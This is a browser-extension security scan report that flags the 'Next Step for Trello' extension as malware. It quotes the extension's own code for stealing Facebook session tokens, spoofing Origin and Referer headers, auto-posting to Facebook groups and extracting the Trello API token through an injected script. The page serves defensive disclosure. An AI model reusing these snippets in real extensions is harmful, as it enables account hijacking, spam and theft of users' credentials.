Security Alert: Confirmed Malware
Next Step for Trello
ID: iajhmklhilkjgabejjemfbhmclgnmamf
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- guisselle lopezView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Check tasks directly from your Trello boards
Check tasks directly from your Trello boards Useful #productivity add-on for weekly/daily planning and scheduling of your tasks on Trello, without having to open and close cards all the time. ☑️🚀 ----------------- LOG------------------- Update Version 1.22.4: Add new feature fast post news for groups on facebook. Update Version 1.22.8: Fix feature not working with new Trello UI.
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://*.facebook.com/*
Without any user interaction, the service worker silently fetches m.facebook.com/composer/ocelot/async_loader/?publisher=feed using the user's authenticated cookies (credentials:'include') and regex-extracts the user's actorID and the fb_dtsg CSRF token. Stealing fb_dtsg + user_id provides full session-level write access to the user's Facebook account from the background — a classic session token harvesting pattern that has nothing to do with Trello next-step functionality.
const Ng = async () => { let x = null, _ = null; const u = /\\"dtsg\\":{\\"token\\":\\"(.*?)\\"/, { id: w, res: A } = await Gg("https://m.facebook.com/", "composer/ocelot/async_loader/?publisher=feed", /"actorID\\":\\"([\d]+)\\"/); return typeof A == "string" && w && w !== "0" && (x = w, _ = ce(u, A)), { user_id: x, user_dtsg: _ }};chrome.runtime.onMessage.addListener((x, _, u) => ((async () => { if (x.action === "checkLogin") { const w = await Ng(); if ((w == null ? void 0 : w.user_id) && (w == null ? void 0 : w.user_dtsg)) { const I = await new qg(w.user_id, w.user_dtsg) .getAllGroups(); await chrome.storage.local.set({ groups: I, isLoginFb: w }), u(w)Installs declarativeNetRequest session rules that forge the Origin and Referer headers on background-initiated XHRs (tabIds: [-1] targets service-worker requests specifically) so they appear to originate from facebook.com itself. This is an explicit bypass of Facebook's CSRF / SameSite / cross-origin protections, enabling the service worker to make authenticated state-changing requests against Facebook's APIs as the logged-in user.
const Hg = [{ id: 10, priority: 1, action: { type: bo.MODIFY_HEADERS, requestHeaders: [{ header: "origin", operation: or.SET, value: "https://www.facebook.com" }, { header: "referer", operation: or.SET, value: "https://www.facebook.com/" } ] }, condition: { urlFilter: "www.facebook.com", resourceTypes: ["xmlhttprequest"], tabIds: [-1] }}, { id: 11, priority: 1, action: { type: bo.MODIFY_HEADERS, requestHeaders: [{ header: "origin", operation: or.SET, value: "https://m.facebook.com" }, { header: "referer", operation: or.SET, value: "https://m.facebook.com/" } ] }, condition: { urlFilter: "https://m.facebook.com", resourceTypes: ["xmlhttprequest"], tabIds: [-1] }}];chrome.declarativeNetRequest.updateSessionRules({ addRules: Hg, removeRuleIds: [10, 11]});The service worker uses the harvested fb_dtsg + user_id to programmatically post arbitrary user-supplied content to Facebook groups via m.facebook.com/a/group/post/add. This is automated content posting on behalf of the authenticated Facebook user, executed via a 'post-group' runtime message — capability that is wholly unrelated to the extension's stated 'Next Step for Trello' purpose and is a hallmark of spam / group-posting abuse extensions.
async getWaterfalllEav(_) { ... const tn = await Fi.post(`https://m.facebook.com/composer/ocelot/async_loader/?publisher=groups&target_id=${_}`, { body: Bi(V) }).text()...}async postGroup(_, u) { const { waterfall_id: w, eav: A, gid: I } = await this.getWaterfalllEav(u); if (!w || !A || !I) return !1; const P = { ...message: _, group_id: u, ...fb_dtsg: this.user_dtsg, __user: this.user_id, ... }, M = await Fi.post(`https://m.facebook.com/a/group/post/add/?gid=${I}&eav=${A}&paipv=0`, { body: Bi(P) }).text()...}chrome.runtime.onMessage.addListener((x, _, u) => ((async () => { if (x.action === "post-group") { const w = x.user, A = x.groupId, I = x.content; if (w.user_id && w.user_dtsg) { const P = new Mg(w.user_id, w.user_dtsg); ...await P.postGroup(I, A);This script is injected into the Trello page's main world (via DOM script element) to access the page-context-only function window.getAuthorization() and exfiltrate the user's Trello API token into localStorage under the key 'tokenTrello'. The content script then reads this value to perform authenticated Trello API calls (PUT /cards/.../checkItem with token=...) on the user's behalf, bypassing the isolated content-script world that would normally prevent direct token access.
window.localStorage.setItem('tokenTrello', window.getAuthorization() .token)Injects the bundled codeInject.js into the page's main JavaScript context to escape the content-script isolated world and reach window.getAuthorization(). The injected element self-removes (e.onload = function() { this.remove() }) to hide the injection from casual inspection of the DOM.
function D() { const e = document.createElement("script"); e.src = chrome.runtime.getURL("src/content-script/codeInject.js") || "", e.onload = function() { this.remove() }, (n => { if (n == null) throw new Error("it's a null"); return n })(document.head || document.documentElement) .appendChild(e)}Enumerates every Facebook group the user administers by paginating Facebook's internal GraphQL endpoint (GroupsCometLeftRailContainerQuery / GroupsLeftRailGroupsYouManagePaginatedQuery) using the stolen fb_dtsg token, and persists the list (id, name, url, avatar) to chrome.storage.local. Silent profiling of the user's admin-controlled Facebook groups is collected for later automated posting.
async getGroup(_) { const u = { av: this.user_id, __user: this.user_id, ... fb_dtsg: this.user_dtsg, ... fb_api_req_friendly_name: "GroupsCometLeftRailContainerQuery", variables: '{"adminGroupsCount":3,"memberGroupsCount":10,"scale":2}', doc_id: "9507134679327110" }; ...await Fi.post("https://www.facebook.com/api/graphql/", { body: Bi(u) }).json()...}async getAllGroups() { let _ = !0, u = [], w = 0; for (; _ && w <= 3;) { let A = await this.getGroup(), I = Vn.exports.get(A, "data.adminGroups.groups_tab.tab_groups_list.edges"); ...An extension marketed as 'Check tasks directly from your Trello boards' requests host access and document_start content-script injection into all of *.facebook.com. The Facebook host permission is not justified by any user-facing Trello feature; combined with the silent fb_dtsg harvesting and origin-spoofing rules in the service worker, the Facebook surface is purely an abuse channel hidden behind a productivity branding.
"content_scripts": [ { "js": [...], "matches": [ "*://trello.com/*", "*://*.facebook.com/*" ], "run_at": "document_start" } ], "host_permissions": [ "*://trello.com/*", "https://*.facebook.com/*" ],Reads the previously-exfiltrated Trello token from localStorage and embeds it in the body of authenticated PUT requests to trello.com/1/. The token is treated as a long-lived API credential held in the content script and reused for arbitrary card mutations.
const Ce = () => { const e = window.localStorage.getItem("tokenTrello"); e && e !== "null" ? h = e : D()};...const n = "cards/" + t.getAttribute("data-card-id") + "/checklist/" + t.getAttribute("data-checklist-id") + "/checkItem/" + t.getAttribute("data-item-id"), s = "state=complete&token=" + h.trim();j(n, { method: "PUT", headers: { ... }, body: s})By severity
Versions scanned
Showing 1 of 16 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.22.6 | 8 |
Files with findings
4 distinct paths — top paths by unique finding count:
- assets/index.ts.2a149f89.js4
- assets/next-step-for-trello.ts.bbaa2031.js2
- manifest.json1
- src/content-script/codeInject.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.